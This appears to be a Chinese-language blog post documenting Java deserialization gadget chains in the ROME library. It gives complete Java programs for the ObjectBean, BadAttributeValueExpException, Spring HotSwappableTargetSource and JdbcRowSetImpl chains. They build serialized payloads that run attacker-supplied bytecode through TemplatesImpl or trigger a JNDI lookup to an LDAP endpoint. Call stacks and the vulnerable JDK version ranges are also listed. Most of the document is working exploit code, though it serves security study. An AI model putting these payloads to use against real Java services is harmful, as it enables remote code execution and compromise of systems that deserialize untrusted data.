Java-ROME链
这条链子整体是通过ToStringBean#toString来触发_beanClass的getter实现rce的

ObjectBean利用链
exp:
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
public class Main {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
setFieldValue(templates, "_name", "harder");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, templates);
ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "harder"));
HashMap<Object, Object> map = new HashMap<>();
map.put(root, "harder");
map.put("1", "1");
Field field = ObjectBean.class.getDeclaredField("_equalsBean");
field.setAccessible(true);
field.set(root, new EqualsBean(ObjectBean.class, delegate));
serialize(map);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
我们整条链子的调用栈是:
HashMap#readObject(java.io.ObjectInputStream)
HashMap#hash(Object)
ObjectBean#hashCode()
EqualsBean#beanHashCode()
ObjectBean#toString()
ToStringBean#toString()
ToStringBean#toString(String)
TemplatesImpl#getOutputProperties()
BadAttributeValueExpException利用链
这个之前在cc中经常遇到的,cc中的调用是:
BadAttributeValueExpException#readObject()
TiedMapEntry#toString()
LazyMap#get()
ChainedTransformer#transform()
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
public class Main {
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
byte[] payloads = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
setFieldValue(templates, "_name", "harder");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
//new BadAttributeValueExpException();
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
BadAttributeValueExpException#readObject()
ToStringBean#toString()
ToStringBean#toString(String)
TemplatesImpl#getOutputProperties()
HotSwappableTargetSource利用链
这个是spring的原生链子来触发toSting来rce
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
setFieldValue(templates, "_name", "harder");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
XString xString = new XString("harder");
HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(xString);
HashMap<Object,Object> hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource,hotSwappableTargetSource);
hashMap.put(hotSwappableTargetSource1,hotSwappableTargetSource1);
serialize(hashMap);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException, IOException, IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
调用栈:
hashMap#readObject
hashMap#putVal
HotSwappableTargetSource#equals
Xstring#equals
ToStringBean#toString
JdbcRowSetImpl利用链
package org.example;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.sql.rowset.JdbcRowSet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
String url = "ldap://localhost:1222/Exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
serialize(hashMap);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException, IOException, IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
本质是通过getter触发jndi反序列化
所以这里还是会有jndi存在的问题
由于JDNI注入中trustURLCodebase
的限制,这里限制的攻击版本为
- RMI:
JDK 6u132
、JDK 7u122
、JDK 8u113
之前 - LDAP:
JDK 7u201
、8u191
、6u211
、JDK 11.0.1
之前


toStringFuntionGetter
总结:
rome触发tostring然后任意beanclass类getter,从而导致rce,我把触发getter写到了函数toStringFuntion里面了
package org.example;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
}
public static void toStringFuntionGetter(Class beanClass, Object obj) throws IOException, ClassNotFoundException {
ToStringBean toStringBean = new ToStringBean(beanClass,obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException, IOException, IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
参考:
https://goodapple.top/archives/1145